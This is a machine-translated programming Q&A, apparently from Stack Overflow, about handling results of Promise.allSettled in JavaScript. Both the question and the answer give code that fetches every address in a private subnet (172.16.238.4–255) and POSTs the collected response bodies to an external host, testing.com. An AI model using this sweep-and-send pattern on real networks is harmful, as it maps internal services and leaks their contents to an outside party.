使用链接 Promise.allSettled

Using Chained Promise.allSettled

快速了解我正在尝试做的事情。我有一个基本的 for 循环,它生成一个我想要获取的 IP 数组。我想检查 response.status 是否为 200(我还没有实现),然后获取返回状态为 200 的 IP 并仅保留这些 IP。

我试过用 Promise.all 这样做,但遇到了拒绝一个的问题,因此拒绝了所有的。所以现在我在这段代码。

async function example() {
    var arr = [];
    for (let i = 4; i <= 255; i++) {
        var ip = 'http://172.16.238.' + i.toString() + ':443';
        arr.push(ip);
    }
    Promise.allSettled(arr.map(u=>fetch(u))).then(responses => Promise.allSettled(responses.map(res => res.text()))).then(texts => {fetch('https://testing.com', {method: 'POST', body: texts})})
}
example()

我发现 res.text()allSettled 一起使用时不是函数。但我也对如何检查每个响应的状态感到困惑。我将 url 映射到每个提取,然后将响应映射到它的文本,那么我会在第二个映射中进行状态检查吗?映射让我有点困惑。

allSettled 不是 return 具有解析值的数组 - 相反,它 return 是 对象 的数组,其中对象包含 status / value / reason 属性。要获取解析值,如果有,请访问 .value 属性.

但是一个 allSettled 就可以了 - 如果没有出错,在第一个回调中调用 .text

function example() {
    var arr = [];
    for (let i = 4; i <= 255; i++) {
        var ip = 'http://172.16.238.' + i.toString() + ':443';
        arr.push(ip);
    }
    Promise.allSettled(arr.map(
        u => fetch(u)
            .then(res => { if (res.ok) return res.text(); })
    ))
        .then(results => {
            const texts = results
                .filter(result => result.status === 'fulfilled' && result.value)
                .map(result => result.value);
            fetch('https://testing.com', { method: 'POST', body: texts })
                // ...
        })
}